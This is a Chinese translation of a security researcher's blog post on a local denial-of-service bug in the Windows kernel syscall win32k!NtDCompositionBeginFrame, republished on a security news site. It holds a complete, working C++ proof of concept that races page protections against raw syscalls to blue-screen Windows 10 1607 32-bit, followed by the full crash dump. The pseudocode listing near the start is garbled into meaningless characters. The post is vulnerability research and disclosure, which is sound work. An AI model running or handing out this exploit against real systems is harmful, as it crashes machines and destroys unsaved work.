Windows内核本地拒绝服务#2(Windows 8-10)

这个星期,我们使用另一种未处理的异常ring-0代码方式使Windows内核本地崩溃(如果你不太懂,可以看上周的DoS在win32k!NtUserThunkedMenuItemInfo)。今天,这个bug是在win32k!NtDCompositionBeginFrame系统调用处理程序中的,其开始可以转换为以下类似C的伪代码:

`ZDC[(HN~9K4~U{O[(RD)8T

由于我不知道I/O结构的名字和定义,我统称他们为INPUT_STRUCTUREOUTPUT_STRUCTURE。在这里,我们可以看到第二个参数(lpInput)被访问了两次:第一次在第9行,对内联ProbeForRead调用和一个try/except块进行适当清理,第二次在23行,其中字段偏移0x10在上面的列表中),SomeField是从用户指针读取的,而异常处理被禁用。该Template_xq函数只是一个用于记录内核模式事件的thin wrapper around EtwWrite  。这就是我们想要利用的错误。

为了达到vulnerable code,我们必须满足几个条件:

  1. 确保来自第9行中指针的初始副本成功,即地址有效,并指向可读存储器。这可以通过运行race condition attack来满足,其中一个线程连续地flips存储器页的访问权限,而另一个线程在循环中继续调用受影响的系统调用。
  2. DirectComposition::CConnection::ReferenceHandle通过传递一个有效的句柄,这个函数win32k!NtDCompositionCreateConnection可以通过提前调用系统调用来获得
  3. 在全局Microsoft_Windows_Win32kEnableBits变量中设置0x1 flag。

直观上,第三个条件与其他条件一样重要,因为Template_xq只有在表达式的计算结果为真时才会发生调用。Windows 8.1(两者都是bitnesses)的确如此:

win8.1_32 (1)

Windows 8.1 32位

然而,由于不清楚的原因,用于构建Windows 10的编译器重新排序了代码,使得在检查条件之前发生不安全的内存访问 ,即使结果值仅在设置0x1 flag时使用:

win10_32

Windows 10 32位

我不知道一个编译器错误是如何工作的,特别是考虑到将两个指令移动到上一个基本块的deoptimization。事实上,它甚至可能是deoptimization,正如所讨论的不是仅当日志功能被调用时指令才执行的。我们不知道它根据什么触发了这个行为,以及相关的编译器逻辑如何工作,但是其他错误可以插入到内核的各个地方。要实现这种现象可能需要更多的实验。

无论如何,我们不必关心win32k.sys配置位掩码来构建Windows 10的工作验证概念,生成的代码(其他两个提到的条件)可以采取以下简单的形式:

#include <Windows.h>
#include <winternl.h>
#include <cstdio>
 
namespace globals {
 LPVOID lpVolatileMem;
} // namespace globals
 
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
 __asm{mov eax, ApiNumber};
 __asm{lea edx, ApiNumber + 4};
 __asm{int 0x2e};
}
 
DWORD ThreadRoutine(LPVOID lpParameter) {
 DWORD flOldProtect;
 
 // Indefinitely alternate between R/W and NOACCESS rights.
 while (1) {
 VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_NOACCESS, &flOldProtect);
 VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_READWRITE, &flOldProtect);
 }
}
 
int main() {
 // Windows 10 1607 32-bit.
 CONST ULONG __NR_NtDCompositionCreateConnection = 0x140d;
 CONST ULONG __NR_NtDCompositionBeginFrame = 0x1403;
 
 // Initialize the thread as GUI.
 LoadLibrary(L"user32.dll");
 
 // Allocate memory for the buffer whose privileges are being flipped.
 globals::lpVolatileMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
 // Create the racing thread.
 CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);
 
 // Create the connection.
 HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
 DWORD hDComp = 0;
 NTSTATUS st = SystemCall32(__NR_NtDCompositionCreateConnection, hEvent, &hDComp);
 
 if (!NT_SUCCESS(st)) {
 printf("NtDCompositionCreateConnection failed, %x\n", st);
 return 1;
 }
 
 // Infinite loop trying to trigger the unhandled exception.
 while (1) {
 SystemCall32(__NR_NtDCompositionBeginFrame, hDComp, globals::lpVolatileMem);
 }
 
 return 0;
}

启动以上程序几秒钟后会产生以下BSoD:

bsod

Windows 10死亡蓝屏

完整的崩溃摘要如下:

KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 9743cbd7, The address that the exception occurred at
Arg3: 00000000, Parameter 0 of the exception
Arg4: 00380010, Parameter 1 of the exception
 
Debugging Details:
------------------
 
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
 
FAULTING_IP: 
win32kbase!NtDCompositionBeginFrame+81
9743cbd7 8b4110 mov eax,dword ptr [ecx+10h]
 
EXCEPTION_PARAMETER2: 00380010
 
BUGCHECK_STR: 0x1E_c0000005_R
 
DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT
 
PROCESS_NAME: NtDComposition
 
CURRENT_IRQL: 0
 
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
 
EXCEPTION_RECORD: bd4e7a18 -- (.exr 0xffffffffbd4e7a18)
ExceptionAddress: 9743cbd7 (win32kbase!NtDCompositionBeginFrame+0x00000081)
 ExceptionCode: c0000005 (Access violation)
 ExceptionFlags: 00000000
NumberParameters: 2
 Parameter[0]: 00000000
 Parameter[1]: 00380010
Attempt to read from address 00380010
 
TRAP_FRAME: bd4e7afc -- (.trap 0xffffffffbd4e7afc)
ErrCode = 00000000
eax=00000000 ebx=97270412 ecx=00380000 edx=00000000 esi=00000000 edi=bd4e7ba8
eip=9743cbd7 esp=bd4e7b70 ebp=bd4e7c00 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32kbase!NtDCompositionBeginFrame+0x81:
9743cbd7 8b4110 mov eax,dword ptr [ecx+10h] ds:0023:00380010=????????
Resetting default scope
 
LAST_CONTROL_TRANSFER: from 8180be66 to 8178b554
 
STACK_TEXT: 
bd4e7044 8180be66 00000003 b8aac5dd 00000065 nt!RtlpBreakWithStatusInstruction
bd4e7098 8180b8b3 8497f340 bd4e74b8 bd4e74ec nt!KiBugCheckDebugBreak+0x1f
bd4e748c 8178a39a 0000001e c0000005 9743cbd7 nt!KeBugCheck2+0x73a
bd4e74b0 8178a2d1 0000001e c0000005 9743cbd7 nt!KiBugCheck2+0xc6
bd4e74d0 8180950c 0000001e c0000005 9743cbd7 nt!KeBugCheckEx+0x19
bd4e74ec 8179dba2 bd4e7a18 818ad328 bd4e75e0 nt!KiFatalExceptionHandler+0x1a
bd4e7510 8179db74 bd4e7a18 818ad328 bd4e75e0 nt!ExecuteHandler2+0x26
bd4e75d0 81702f41 bd4e7a18 bd4e75e0 00010037 nt!ExecuteHandler+0x24
bd4e79fc 81799535 bd4e7a18 00000000 bd4e7afc nt!KiDispatchException+0x127
bd4e7a68 8179be37 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
bd4e7a68 9743cbd7 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
bd4e7c00 81798777 00000004 00380000 001cfcc1 win32kbase!NtDCompositionBeginFrame+0x81
bd4e7c00 001d1bb6 00000004 00380000 001cfcc1 nt!KiSystemServicePostCall
006ff7ac 001d1cde 00001403 00000004 00380000 NtDCompositionBeginFrame!SystemCall32+0x26
006ff8cc 001d249a 00000001 008a1d68 008a4c28 NtDCompositionBeginFrame!main+0xfe
006ff918 001d267d 006ff934 74808e94 00528000 NtDCompositionBeginFrame!__tmainCRTStartup+0x11a
006ff920 74808e94 00528000 74808e70 b858fdc5 NtDCompositionBeginFrame!mainCRTStartup+0xd
006ff934 76f8e9f2 00528000 2ec6a92b 00000000 KERNEL32!BaseThreadInitThunk+0x24
006ff97c 76f8e9c1 ffffffff 76fd5d16 00000000 ntdll!__RtlUserThreadStart+0x2b
006ff98c 00000000 001cfcc1 00528000 00000000 ntdll!_RtlUserThreadStart+0x1b

就是这样。:)感谢您的阅读,下次再见!

*作者:j00ru,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/98075.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code